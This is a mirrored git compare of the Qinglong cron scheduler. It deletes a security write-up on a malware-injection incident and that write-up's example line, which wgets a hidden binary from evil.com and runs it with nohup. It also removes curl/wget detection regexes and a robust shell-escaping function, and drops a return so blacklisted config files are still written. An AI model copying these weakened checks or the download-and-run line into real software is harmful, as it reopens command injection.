mirror of
https://github.com/whyour/qinglong.git
synced 2026-08-13 12:23:29 +08:00
Compare commits
10
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
23f21d7448 | ||
|
|
34bc18cb25 | ||
|
|
0995808309 | ||
|
|
07bf0c705b | ||
|
|
fd516977e3 | ||
|
|
c39f4ef846 | ||
|
|
275d8af4e2 | ||
|
|
544c432f49 | ||
|
|
6bec52dca1 | ||
|
|
ce599d306f |
@@ -1,228 +0,0 @@
|
|||||||
# Security Enhancements
|
|
||||||
|
|
||||||
## Overview
|
|
||||||
|
|
||||||
This document describes the security enhancements implemented to prevent malicious code injection attacks in Qinglong.
|
|
||||||
|
|
||||||
## Issue Background
|
|
||||||
|
|
||||||
A security vulnerability was discovered where malicious code could be injected into the system through:
|
|
||||||
1. Cron task fields (`task_before`, `task_after`, `command`)
|
|
||||||
2. Configuration file writes (`config.sh`, `extra.sh`, etc.)
|
|
||||||
|
|
||||||
The reported incident involved a malicious script that:
|
|
||||||
- Downloaded an external binary (`.fullgc`) from a suspicious domain (`file.551911.xyz`)
|
|
||||||
- Executed the binary in the background consuming 100% memory
|
|
||||||
- Persisted by continuously re-injecting itself into configuration files
|
|
||||||
|
|
||||||
## Security Fixes Implemented
|
|
||||||
|
|
||||||
### 1. Input Validation for Cron Tasks
|
|
||||||
|
|
||||||
**File:** `/back/validation/schedule.ts`
|
|
||||||
|
|
||||||
Added comprehensive validation to detect and block dangerous shell patterns:
|
|
||||||
|
|
||||||
- **Command Substitution**: Blocks `$(...)` and backtick patterns that could execute hidden commands
|
|
||||||
- **File Downloads**: Blocks `curl`, `wget`, `fetch` commands
|
|
||||||
- **External URLs**: Blocks HTTP/HTTPS URLs to prevent external resource downloads
|
|
||||||
- **Hidden Files**: Blocks references to executable files starting with `.` in path contexts
|
|
||||||
- **Background Execution**: Blocks suspicious `nohup` patterns executing hidden files
|
|
||||||
- **Combined Threats**: Blocks downloads with output redirection to `/dev/null` (hiding malware)
|
|
||||||
- **Obfuscation**: Blocks `base64`, `decode`, `eval` patterns
|
|
||||||
- **Temp Directory Execution**: Blocks execution of files from `/tmp` combined with chmod/execution
|
|
||||||
|
|
||||||
### 2. Config File Content Security
|
|
||||||
|
|
||||||
**File:** `/back/api/config.ts`
|
|
||||||
|
|
||||||
Enhanced validation for configuration file content to prevent:
|
|
||||||
|
|
||||||
- Downloads followed by execution (`curl | bash`, `wget | bash`)
|
|
||||||
- Download and permission changes (`curl && chmod +x`)
|
|
||||||
- Downloads of hidden files (generalized pattern to catch various malware)
|
|
||||||
- Background execution of hidden files
|
|
||||||
|
|
||||||
### 3. Improved Shell Escaping
|
|
||||||
|
|
||||||
**File:** `/back/services/cron.ts`
|
|
||||||
|
|
||||||
Replaced weak shell escaping with a robust `escapeShellArg()` function that:
|
|
||||||
|
|
||||||
- Properly escapes single quotes using `'\\''` pattern
|
|
||||||
- Replaces newlines with spaces (not semicolons) to prevent command chain creation
|
|
||||||
- Prevents command injection through various shell metacharacters
|
|
||||||
|
|
||||||
## Security Best Practices
|
|
||||||
|
|
||||||
### For Administrators
|
|
||||||
|
|
||||||
1. **Review Existing Tasks**: Audit all existing cron tasks for suspicious patterns
|
|
||||||
2. **Monitor Logs**: Check logs for security validation warnings
|
|
||||||
3. **Update Dependencies**: Keep all npm/pip dependencies up to date
|
|
||||||
4. **Limit Access**: Restrict who can create/modify cron tasks and config files
|
|
||||||
5. **Regular Backups**: Maintain backups of configuration files
|
|
||||||
|
|
||||||
### For Users
|
|
||||||
|
|
||||||
1. **Trusted Sources Only**: Only add scripts from trusted repositories
|
|
||||||
2. **Code Review**: Review any script before adding it to your cron tasks
|
|
||||||
3. **Avoid External URLs**: Don't include download commands in task hooks
|
|
||||||
4. **Report Suspicious Activity**: Report any unusual system behavior immediately
|
|
||||||
|
|
||||||
## Validation Error Messages
|
|
||||||
|
|
||||||
When the security system blocks a pattern, you'll see error messages like:
|
|
||||||
|
|
||||||
- `命令包含潜在危险的模式,已被安全系统拦截` - Command contains dangerous pattern
|
|
||||||
- `前置命令包含潜在危险的模式,已被安全系统拦截` - task_before contains dangerous pattern
|
|
||||||
- `后置命令包含潜在危险的模式,已被安全系统拦截` - task_after contains dangerous pattern
|
|
||||||
- `配置文件内容包含潜在危险的模式,已被安全系统拦截` - Config file contains dangerous pattern
|
|
||||||
|
|
||||||
## What to Do If You're Affected
|
|
||||||
|
|
||||||
If you've been affected by the malicious code injection:
|
|
||||||
|
|
||||||
### 1. Immediate Actions
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Stop and remove the malicious process
|
|
||||||
pkill -f ".fullgc"
|
|
||||||
rm -f /ql/data/db/.fullgc
|
|
||||||
|
|
||||||
# Check for the malicious code in configuration files
|
|
||||||
grep -r "fullgc" /ql/data/config/
|
|
||||||
grep -r "551911.xyz" /ql/data/config/
|
|
||||||
```
|
|
||||||
|
|
||||||
### 2. Clean Configuration Files
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Backup current configs
|
|
||||||
cp -r /ql/data/config /ql/data/config.backup
|
|
||||||
|
|
||||||
# Review and clean these files:
|
|
||||||
# - /ql/data/config/config.sh
|
|
||||||
# - /ql/data/config/extra.sh
|
|
||||||
# - /ql/data/config/task_before.sh
|
|
||||||
# - /ql/data/config/task_after.sh
|
|
||||||
|
|
||||||
# Remove any lines containing:
|
|
||||||
# - Downloads (curl, wget)
|
|
||||||
# - External URLs
|
|
||||||
# - .fullgc references
|
|
||||||
```
|
|
||||||
|
|
||||||
### 3. Review Cron Tasks
|
|
||||||
|
|
||||||
1. Log into Qinglong admin panel
|
|
||||||
2. Check all cron tasks for suspicious content in:
|
|
||||||
- Command field
|
|
||||||
- task_before field
|
|
||||||
- task_after field
|
|
||||||
3. Delete or clean any suspicious tasks
|
|
||||||
|
|
||||||
### 4. Update to Patched Version
|
|
||||||
|
|
||||||
Ensure you're running a version of Qinglong with these security fixes.
|
|
||||||
|
|
||||||
### 5. Change Credentials
|
|
||||||
|
|
||||||
If you suspect compromise:
|
|
||||||
- Change your Qinglong admin password
|
|
||||||
- Review and rotate any API tokens
|
|
||||||
- Check for unauthorized access in logs
|
|
||||||
|
|
||||||
## Detection
|
|
||||||
|
|
||||||
### Log Analysis
|
|
||||||
|
|
||||||
Security events are logged to help detect attempted attacks:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Check for security validation failures in logs
|
|
||||||
grep "安全系统拦截" /ql/data/log/*.log
|
|
||||||
|
|
||||||
# Check for suspicious file modifications
|
|
||||||
grep "配置文件写入" /ql/data/log/*.log
|
|
||||||
```
|
|
||||||
|
|
||||||
### File Integrity
|
|
||||||
|
|
||||||
Regularly check for unexpected files:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Find hidden executables in data directory
|
|
||||||
find /ql/data -type f -name ".*" -executable
|
|
||||||
|
|
||||||
# Check for recently modified config files
|
|
||||||
find /ql/data/config -type f -mtime -1
|
|
||||||
```
|
|
||||||
|
|
||||||
## Limitations
|
|
||||||
|
|
||||||
These security measures provide defense-in-depth but are not foolproof:
|
|
||||||
|
|
||||||
- Legitimate use cases requiring downloads must use alternative methods
|
|
||||||
- Very sophisticated attacks may find bypasses
|
|
||||||
- Users with admin access can still compromise the system
|
|
||||||
- Compromised dependencies can still execute malicious code
|
|
||||||
|
|
||||||
## Alternative Approaches for Legitimate Downloads
|
|
||||||
|
|
||||||
If you have legitimate use cases that require downloads:
|
|
||||||
|
|
||||||
1. **Use Dependencies**: Install packages via npm/pip instead of downloading at runtime
|
|
||||||
2. **Pre-download Files**: Download files manually and add them to the scripts directory
|
|
||||||
3. **Use Subscriptions**: Configure subscriptions to pull code from trusted repositories
|
|
||||||
4. **Request Whitelist**: Contact administrators to whitelist specific trusted domains (future feature)
|
|
||||||
|
|
||||||
## Technical Details
|
|
||||||
|
|
||||||
### Validation Pattern Examples
|
|
||||||
|
|
||||||
**Blocked Pattern:**
|
|
||||||
```bash
|
|
||||||
curl https://example.com/script.sh | bash
|
|
||||||
```
|
|
||||||
**Reason:** Downloads and executes external code
|
|
||||||
|
|
||||||
**Blocked Pattern:**
|
|
||||||
```bash
|
|
||||||
d="/ql/data/db";wget -O "$d/.malware" http://evil.com/m;chmod +x "$d/.malware";nohup "$d/.malware" &
|
|
||||||
```
|
|
||||||
**Reason:** Multiple violations - download, hidden file, chmod, background execution
|
|
||||||
|
|
||||||
**Allowed Pattern:**
|
|
||||||
```bash
|
|
||||||
node /ql/scripts/my_script.js
|
|
||||||
```
|
|
||||||
**Reason:** No dangerous patterns detected
|
|
||||||
|
|
||||||
### Defense in Depth
|
|
||||||
|
|
||||||
This implementation uses multiple layers of security:
|
|
||||||
|
|
||||||
1. **Input Validation**: Blocks malicious patterns before they reach the system
|
|
||||||
2. **Shell Escaping**: Prevents injection even if validation is bypassed
|
|
||||||
3. **Audit Logging**: Records all configuration changes for forensic analysis
|
|
||||||
4. **Least Privilege**: Existing blacklist prevents access to sensitive files
|
|
||||||
|
|
||||||
## Reporting Security Issues
|
|
||||||
|
|
||||||
If you discover a security vulnerability, please report it responsibly:
|
|
||||||
|
|
||||||
1. Do NOT create public GitHub issues for security vulnerabilities
|
|
||||||
2. Contact the maintainers privately
|
|
||||||
3. Provide detailed information about the vulnerability
|
|
||||||
4. Allow time for a patch before public disclosure
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
- [OWASP Command Injection](https://owasp.org/www-community/attacks/Command_Injection)
|
|
||||||
- [Shell Command Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)
|
|
||||||
- [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)
|
|
||||||
|
|
||||||
## Version History
|
|
||||||
|
|
||||||
- **v1.0** (2026-02-08): Initial security enhancements to prevent code injection attacks
|
|
||||||
+1
-43
@@ -64,44 +64,7 @@ export default (app: Router) => {
|
|||||||
celebrate({
|
celebrate({
|
||||||
body: Joi.object({
|
body: Joi.object({
|
||||||
name: Joi.string().required(),
|
name: Joi.string().required(),
|
||||||
content: Joi.string().allow('').optional().custom((value: any, helpers: any) => {
|
content: Joi.string().allow('').optional(),
|
||||||
if (!value) return value;
|
|
||||||
|
|
||||||
// Security validation for configuration file content
|
|
||||||
const dangerousPatterns = [
|
|
||||||
// Command substitution that could download/execute malware
|
|
||||||
{ pattern: /\$\([^)]*curl[^)]*\)/gi, desc: '命令替换中的下载操作' },
|
|
||||||
{ pattern: /\$\([^)]*wget[^)]*\)/gi, desc: '命令替换中的下载操作' },
|
|
||||||
{ pattern: /`[^`]*curl[^`]*`/gi, desc: '反引号命令替换中的下载操作' },
|
|
||||||
{ pattern: /`[^`]*wget[^`]*`/gi, desc: '反引号命令替换中的下载操作' },
|
|
||||||
|
|
||||||
// Suspicious file downloads followed by execution
|
|
||||||
{ pattern: /(curl|wget)[^;]*\|\s*bash/gi, desc: '下载并直接执行的危险模式' },
|
|
||||||
{ pattern: /(curl|wget)[^;]*&&\s*chmod\s*\+x/gi, desc: '下载并赋予执行权限的可疑模式' },
|
|
||||||
|
|
||||||
// Downloads of hidden files (commonly used in malware)
|
|
||||||
{ pattern: /(curl|wget)[^|;]*https?:\/\/[^\s]+\/\.\w+/gi, desc: '可疑的隐藏文件下载' },
|
|
||||||
|
|
||||||
// Background execution of hidden files
|
|
||||||
{ pattern: /nohup\s+["']?[^"'\s]*\/\.\w+["']?\s*>/gi, desc: '后台执行隐藏文件' },
|
|
||||||
];
|
|
||||||
|
|
||||||
for (const { pattern, desc } of dangerousPatterns) {
|
|
||||||
if (pattern.test(value)) {
|
|
||||||
return helpers.error('string.unsafe', { description: desc });
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Check for excessive length
|
|
||||||
if (value.length > 1000000) {
|
|
||||||
return helpers.error('string.max', { limit: 1000000 });
|
|
||||||
}
|
|
||||||
|
|
||||||
return value;
|
|
||||||
}).messages({
|
|
||||||
'string.unsafe': '配置文件内容包含潜在危险的模式 ({#description}),已被安全系统拦截',
|
|
||||||
'string.max': '配置文件内容过长,已被安全系统拦截',
|
|
||||||
}),
|
|
||||||
}),
|
}),
|
||||||
}),
|
}),
|
||||||
async (req: Request, res: Response, next: NextFunction) => {
|
async (req: Request, res: Response, next: NextFunction) => {
|
||||||
@@ -110,16 +73,11 @@ export default (app: Router) => {
|
|||||||
const { name, content } = req.body;
|
const { name, content } = req.body;
|
||||||
if (config.blackFileList.includes(name)) {
|
if (config.blackFileList.includes(name)) {
|
||||||
res.send({ code: 403, message: '文件无法访问' });
|
res.send({ code: 403, message: '文件无法访问' });
|
||||||
return;
|
|
||||||
}
|
}
|
||||||
let path = join(config.configPath, name);
|
let path = join(config.configPath, name);
|
||||||
if (name.startsWith('data/scripts/')) {
|
if (name.startsWith('data/scripts/')) {
|
||||||
path = join(config.rootPath, name);
|
path = join(config.rootPath, name);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Log security-relevant file modifications
|
|
||||||
logger.info(`配置文件写入: ${name}, 大小: ${content?.length || 0} 字节`);
|
|
||||||
|
|
||||||
await writeFileWithLock(path, content);
|
await writeFileWithLock(path, content);
|
||||||
res.send({ code: 200, message: '保存成功' });
|
res.send({ code: 200, message: '保存成功' });
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ import { Container } from 'typedi';
|
|||||||
import { Logger } from 'winston';
|
import { Logger } from 'winston';
|
||||||
import CronService from '../services/cron';
|
import CronService from '../services/cron';
|
||||||
import CronViewService from '../services/cronView';
|
import CronViewService from '../services/cronView';
|
||||||
|
import CronStatsService from '../services/cronStats';
|
||||||
import { celebrate, Joi } from 'celebrate';
|
import { celebrate, Joi } from 'celebrate';
|
||||||
import { commonCronSchema } from '../validation/schedule';
|
import { commonCronSchema } from '../validation/schedule';
|
||||||
|
|
||||||
@@ -141,6 +142,58 @@ export default (app: Router) => {
|
|||||||
},
|
},
|
||||||
);
|
);
|
||||||
|
|
||||||
|
route.get(
|
||||||
|
'/stats',
|
||||||
|
async (req: Request, res: Response, next: NextFunction) => {
|
||||||
|
try {
|
||||||
|
const cronStatsService = Container.get(CronStatsService);
|
||||||
|
const data = await cronStatsService.stats();
|
||||||
|
return res.send({ code: 200, data });
|
||||||
|
} catch (e) {
|
||||||
|
return next(e);
|
||||||
|
}
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
route.get(
|
||||||
|
'/stats/trend',
|
||||||
|
async (req: Request, res: Response, next: NextFunction) => {
|
||||||
|
try {
|
||||||
|
const cronStatsService = Container.get(CronStatsService);
|
||||||
|
const data = await cronStatsService.trend();
|
||||||
|
return res.send({ code: 200, data });
|
||||||
|
} catch (e) {
|
||||||
|
return next(e);
|
||||||
|
}
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
route.get(
|
||||||
|
'/stats/top-duration',
|
||||||
|
async (req: Request, res: Response, next: NextFunction) => {
|
||||||
|
try {
|
||||||
|
const cronStatsService = Container.get(CronStatsService);
|
||||||
|
const data = await cronStatsService.topDuration();
|
||||||
|
return res.send({ code: 200, data });
|
||||||
|
} catch (e) {
|
||||||
|
return next(e);
|
||||||
|
}
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
route.get(
|
||||||
|
'/stats/top-count',
|
||||||
|
async (req: Request, res: Response, next: NextFunction) => {
|
||||||
|
try {
|
||||||
|
const cronStatsService = Container.get(CronStatsService);
|
||||||
|
const data = await cronStatsService.topCount();
|
||||||
|
return res.send({ code: 200, data });
|
||||||
|
} catch (e) {
|
||||||
|
return next(e);
|
||||||
|
}
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
route.get('/', async (req: Request, res: Response, next: NextFunction) => {
|
route.get('/', async (req: Request, res: Response, next: NextFunction) => {
|
||||||
const logger: Logger = Container.get('logger');
|
const logger: Logger = Container.get('logger');
|
||||||
try {
|
try {
|
||||||
|
|||||||
@@ -0,0 +1,31 @@
|
|||||||
|
import { sequelize } from '.';
|
||||||
|
import { DataTypes, Model } from 'sequelize';
|
||||||
|
|
||||||
|
export class CronLog {
|
||||||
|
id?: number;
|
||||||
|
cron_id: number;
|
||||||
|
cron_name: string;
|
||||||
|
start_time: number;
|
||||||
|
duration: number;
|
||||||
|
|
||||||
|
constructor(options: CronLog) {
|
||||||
|
this.cron_id = options.cron_id;
|
||||||
|
this.cron_name = options.cron_name;
|
||||||
|
this.start_time = options.start_time;
|
||||||
|
this.duration = options.duration;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface CronLogInstance extends Model<CronLog, CronLog>, CronLog {}
|
||||||
|
export const CronLogModel = sequelize.define<CronLogInstance>(
|
||||||
|
'CronLog',
|
||||||
|
{
|
||||||
|
cron_id: DataTypes.NUMBER,
|
||||||
|
cron_name: DataTypes.STRING,
|
||||||
|
start_time: DataTypes.NUMBER,
|
||||||
|
duration: DataTypes.NUMBER,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
indexes: [{ fields: ['cron_id'] }, { fields: ['start_time'] }],
|
||||||
|
},
|
||||||
|
);
|
||||||
@@ -6,6 +6,7 @@ import { AppModel } from '../data/open';
|
|||||||
import { SystemModel } from '../data/system';
|
import { SystemModel } from '../data/system';
|
||||||
import { SubscriptionModel } from '../data/subscription';
|
import { SubscriptionModel } from '../data/subscription';
|
||||||
import { CrontabViewModel } from '../data/cronView';
|
import { CrontabViewModel } from '../data/cronView';
|
||||||
|
import { CronLogModel } from '../data/cronLog';
|
||||||
import { sequelize } from '../data';
|
import { sequelize } from '../data';
|
||||||
|
|
||||||
export default async () => {
|
export default async () => {
|
||||||
@@ -17,6 +18,7 @@ export default async () => {
|
|||||||
await EnvModel.sync();
|
await EnvModel.sync();
|
||||||
await SubscriptionModel.sync();
|
await SubscriptionModel.sync();
|
||||||
await CrontabViewModel.sync();
|
await CrontabViewModel.sync();
|
||||||
|
await CronLogModel.sync();
|
||||||
|
|
||||||
// 初始化新增字段
|
// 初始化新增字段
|
||||||
const migrations = [
|
const migrations = [
|
||||||
|
|||||||
+34
-5
@@ -13,9 +13,29 @@ import { isValidToken } from '../shared/auth';
|
|||||||
import path from 'path';
|
import path from 'path';
|
||||||
|
|
||||||
export default ({ app }: { app: Application }) => {
|
export default ({ app }: { app: Application }) => {
|
||||||
|
// Security: Enable strict routing to prevent case-insensitive path bypass
|
||||||
|
app.set('case sensitive routing', true);
|
||||||
|
app.set('strict routing', true);
|
||||||
app.set('trust proxy', 'loopback');
|
app.set('trust proxy', 'loopback');
|
||||||
app.use(cors());
|
app.use(cors());
|
||||||
|
|
||||||
|
// Security: Path normalization middleware to prevent case variation attacks
|
||||||
|
app.use((req, res, next) => {
|
||||||
|
const originalPath = req.path;
|
||||||
|
const normalizedPath = originalPath.toLowerCase();
|
||||||
|
|
||||||
|
// Block requests with case variations on protected paths
|
||||||
|
if (originalPath !== normalizedPath &&
|
||||||
|
(normalizedPath.startsWith('/api/') || normalizedPath.startsWith('/open/'))) {
|
||||||
|
return res.status(400).json({
|
||||||
|
code: 400,
|
||||||
|
message: 'Invalid path format'
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
next();
|
||||||
|
});
|
||||||
|
|
||||||
// Rewrite URLs to strip baseUrl prefix if configured
|
// Rewrite URLs to strip baseUrl prefix if configured
|
||||||
// This allows the rest of the app to work without baseUrl awareness
|
// This allows the rest of the app to work without baseUrl awareness
|
||||||
if (config.baseUrl) {
|
if (config.baseUrl) {
|
||||||
@@ -36,7 +56,7 @@ export default ({ app }: { app: Application }) => {
|
|||||||
secret: config.jwt.secret,
|
secret: config.jwt.secret,
|
||||||
algorithms: ['HS384'],
|
algorithms: ['HS384'],
|
||||||
}).unless({
|
}).unless({
|
||||||
path: [...config.apiWhiteList, /^\/(?!api\/).*/],
|
path: [...config.apiWhiteList, /^(\/(?!api\/).*)$/i],
|
||||||
}),
|
}),
|
||||||
);
|
);
|
||||||
|
|
||||||
@@ -51,19 +71,20 @@ export default ({ app }: { app: Application }) => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
app.use(async (req: Request, res, next) => {
|
app.use(async (req: Request, res, next) => {
|
||||||
if (!['/open/', '/api/'].some((x) => req.path.startsWith(x))) {
|
const pathLower = req.path.toLowerCase();
|
||||||
|
if (!['/open/', '/api/'].some((x) => pathLower.startsWith(x))) {
|
||||||
return next();
|
return next();
|
||||||
}
|
}
|
||||||
|
|
||||||
const headerToken = getToken(req);
|
const headerToken = getToken(req);
|
||||||
if (req.path.startsWith('/open/')) {
|
if (pathLower.startsWith('/open/')) {
|
||||||
const apps = await shareStore.getApps();
|
const apps = await shareStore.getApps();
|
||||||
const doc = apps?.filter((x) =>
|
const doc = apps?.filter((x) =>
|
||||||
x.tokens?.find((y) => y.value === headerToken),
|
x.tokens?.find((y) => y.value === headerToken),
|
||||||
)?.[0];
|
)?.[0];
|
||||||
if (doc && doc.tokens && doc.tokens.length > 0) {
|
if (doc && doc.tokens && doc.tokens.length > 0) {
|
||||||
const currentToken = doc.tokens.find((x) => x.value === headerToken);
|
const currentToken = doc.tokens.find((x) => x.value === headerToken);
|
||||||
const keyMatch = req.path.match(/\/open\/([a-z]+)\/*/);
|
const keyMatch = pathLower.match(/\/open\/([a-z]+)\/*/);
|
||||||
const key = keyMatch && keyMatch[1];
|
const key = keyMatch && keyMatch[1];
|
||||||
if (
|
if (
|
||||||
doc.scopes.includes(key as any) &&
|
doc.scopes.includes(key as any) &&
|
||||||
@@ -98,7 +119,15 @@ export default ({ app }: { app: Application }) => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
app.use(async (req, res, next) => {
|
app.use(async (req, res, next) => {
|
||||||
if (!['/api/user/init', '/api/user/notification/init'].includes(req.path)) {
|
const pathLower = req.path.toLowerCase();
|
||||||
|
if (
|
||||||
|
![
|
||||||
|
'/api/user/init',
|
||||||
|
'/api/user/notification/init',
|
||||||
|
'/open/user/init',
|
||||||
|
'/open/user/notification/init',
|
||||||
|
].includes(req.path)
|
||||||
|
) {
|
||||||
return next();
|
return next();
|
||||||
}
|
}
|
||||||
const authInfo =
|
const authInfo =
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ import { AuthDataType, SystemModel } from '../data/system';
|
|||||||
import SystemService from '../services/system';
|
import SystemService from '../services/system';
|
||||||
import UserService from '../services/user';
|
import UserService from '../services/user';
|
||||||
import { writeFile, readFile } from 'fs/promises';
|
import { writeFile, readFile } from 'fs/promises';
|
||||||
import { createRandomString, fileExist, safeJSONParse } from '../config/util';
|
import { createRandomString, fileExist, isDemoEnv, safeJSONParse } from '../config/util';
|
||||||
import OpenService from '../services/open';
|
import OpenService from '../services/open';
|
||||||
import { shareStore } from '../shared/store';
|
import { shareStore } from '../shared/store';
|
||||||
import Logger from './logger';
|
import Logger from './logger';
|
||||||
@@ -50,7 +50,7 @@ export default async () => {
|
|||||||
const [authConfig] = await SystemModel.findOrCreate({
|
const [authConfig] = await SystemModel.findOrCreate({
|
||||||
where: { type: AuthDataType.authConfig },
|
where: { type: AuthDataType.authConfig },
|
||||||
});
|
});
|
||||||
if (!authConfig?.info) {
|
if (!authConfig?.info || isDemoEnv()) {
|
||||||
let authInfo = {
|
let authInfo = {
|
||||||
username: 'admin',
|
username: 'admin',
|
||||||
password: 'admin',
|
password: 'admin',
|
||||||
|
|||||||
+21
-18
@@ -2,6 +2,7 @@ import { Service, Inject } from 'typedi';
|
|||||||
import winston from 'winston';
|
import winston from 'winston';
|
||||||
import config from '../config';
|
import config from '../config';
|
||||||
import { Crontab, CrontabModel, CrontabStatus } from '../data/cron';
|
import { Crontab, CrontabModel, CrontabStatus } from '../data/cron';
|
||||||
|
import { CronLog, CronLogModel } from '../data/cronLog';
|
||||||
import { exec, execSync } from 'child_process';
|
import { exec, execSync } from 'child_process';
|
||||||
import fs from 'fs/promises';
|
import fs from 'fs/promises';
|
||||||
import CronExpressionParser from 'cron-parser';
|
import CronExpressionParser from 'cron-parser';
|
||||||
@@ -176,6 +177,18 @@ export default class CronService {
|
|||||||
{ ...pickBy(options, (v) => v === 0 || !!v) },
|
{ ...pickBy(options, (v) => v === 0 || !!v) },
|
||||||
{ where: { id } },
|
{ where: { id } },
|
||||||
);
|
);
|
||||||
|
|
||||||
|
if (status === CrontabStatus.idle && last_running_time > 0) {
|
||||||
|
const cronName = (cron.name || cron.command || '').substring(0, 255);
|
||||||
|
await CronLogModel.create(
|
||||||
|
new CronLog({
|
||||||
|
cron_id: id,
|
||||||
|
cron_name: cronName,
|
||||||
|
start_time: last_execution_time,
|
||||||
|
duration: last_running_time,
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -639,22 +652,6 @@ export default class CronService {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* Properly escape shell arguments to prevent command injection
|
|
||||||
* This function uses a more robust escaping mechanism than simple quote replacement
|
|
||||||
*/
|
|
||||||
private escapeShellArg(arg: string): string {
|
|
||||||
if (!arg) return "''";
|
|
||||||
|
|
||||||
// Remove newlines to prevent creating command chains
|
|
||||||
// Replace with space to maintain token separation
|
|
||||||
arg = arg.replace(/\r?\n/g, ' ').trim();
|
|
||||||
|
|
||||||
// Use single quotes and escape any single quotes within
|
|
||||||
// This is the most secure way to pass arbitrary strings to shell
|
|
||||||
return `'${arg.replace(/'/g, "'\\''")}'`;
|
|
||||||
}
|
|
||||||
|
|
||||||
private makeCommand(tab: Crontab, realTime?: boolean) {
|
private makeCommand(tab: Crontab, realTime?: boolean) {
|
||||||
let command = tab.command.trim();
|
let command = tab.command.trim();
|
||||||
if (!command.startsWith(TASK_PREFIX) && !command.startsWith(QL_PREFIX)) {
|
if (!command.startsWith(TASK_PREFIX) && !command.startsWith(QL_PREFIX)) {
|
||||||
@@ -666,10 +663,16 @@ export default class CronService {
|
|||||||
commandVariable += `log_name=${tab.log_name} `;
|
commandVariable += `log_name=${tab.log_name} `;
|
||||||
}
|
}
|
||||||
if (tab.task_before) {
|
if (tab.task_before) {
|
||||||
commandVariable += `task_before=${this.escapeShellArg(tab.task_before)} `;
|
commandVariable += `task_before='${tab.task_before
|
||||||
|
.replace(/'/g, "'\\''")
|
||||||
|
.replace(/;? *\n/g, ';')
|
||||||
|
.trim()}' `;
|
||||||
}
|
}
|
||||||
if (tab.task_after) {
|
if (tab.task_after) {
|
||||||
commandVariable += `task_after=${this.escapeShellArg(tab.task_after)} `;
|
commandVariable += `task_after='${tab.task_after
|
||||||
|
.replace(/'/g, "'\\''")
|
||||||
|
.replace(/;? *\n/g, ';')
|
||||||
|
.trim()}' `;
|
||||||
}
|
}
|
||||||
|
|
||||||
const crontab_job_string = `${commandVariable}${command}`;
|
const crontab_job_string = `${commandVariable}${command}`;
|
||||||
|
|||||||
@@ -0,0 +1,137 @@
|
|||||||
|
import { Service, Inject } from 'typedi';
|
||||||
|
import winston from 'winston';
|
||||||
|
import { CrontabModel } from '../data/cron';
|
||||||
|
import { CronLog, CronLogModel } from '../data/cronLog';
|
||||||
|
import { Op } from 'sequelize';
|
||||||
|
import dayjs from 'dayjs';
|
||||||
|
|
||||||
|
type GroupedLog = {
|
||||||
|
cron_id: number;
|
||||||
|
cron_name: string;
|
||||||
|
durations: number[];
|
||||||
|
};
|
||||||
|
|
||||||
|
@Service()
|
||||||
|
export default class CronStatsService {
|
||||||
|
constructor(@Inject('logger') private logger: winston.Logger) {}
|
||||||
|
|
||||||
|
private groupLogsByCronId(logs: CronLog[]): Record<number, GroupedLog> {
|
||||||
|
const grouped: Record<number, GroupedLog> = {};
|
||||||
|
for (const log of logs) {
|
||||||
|
if (!grouped[log.cron_id]) {
|
||||||
|
grouped[log.cron_id] = {
|
||||||
|
cron_id: log.cron_id,
|
||||||
|
cron_name: log.cron_name,
|
||||||
|
durations: [],
|
||||||
|
};
|
||||||
|
}
|
||||||
|
grouped[log.cron_id].durations.push(log.duration);
|
||||||
|
}
|
||||||
|
return grouped;
|
||||||
|
}
|
||||||
|
|
||||||
|
private avgOf(nums: number[]): number {
|
||||||
|
if (nums.length === 0) return 0;
|
||||||
|
return Math.round(nums.reduce((a, b) => a + b, 0) / nums.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
private getTodayRange() {
|
||||||
|
return {
|
||||||
|
start: dayjs().startOf('day').unix(),
|
||||||
|
end: dayjs().endOf('day').unix(),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public async stats() {
|
||||||
|
const { start, end } = this.getTodayRange();
|
||||||
|
|
||||||
|
const [allCrons, todayLogs] = await Promise.all([
|
||||||
|
CrontabModel.findAll({ where: {} }),
|
||||||
|
CronLogModel.findAll({
|
||||||
|
where: { start_time: { [Op.between]: [start, end] } },
|
||||||
|
}),
|
||||||
|
]);
|
||||||
|
|
||||||
|
const total = allCrons.length;
|
||||||
|
const enabled = allCrons.filter((c: any) => c.isDisabled !== 1).length;
|
||||||
|
const disabled = allCrons.filter((c: any) => c.isDisabled === 1).length;
|
||||||
|
|
||||||
|
const todayCount = todayLogs.length;
|
||||||
|
const todayTotalDuration = todayLogs.reduce(
|
||||||
|
(sum: number, l: any) => sum + (l.duration || 0),
|
||||||
|
0,
|
||||||
|
);
|
||||||
|
const todayAvgDuration =
|
||||||
|
todayCount > 0 ? Math.round(todayTotalDuration / todayCount) : 0;
|
||||||
|
|
||||||
|
return {
|
||||||
|
total,
|
||||||
|
enabled,
|
||||||
|
disabled,
|
||||||
|
today: {
|
||||||
|
count: todayCount,
|
||||||
|
avgDuration: todayAvgDuration,
|
||||||
|
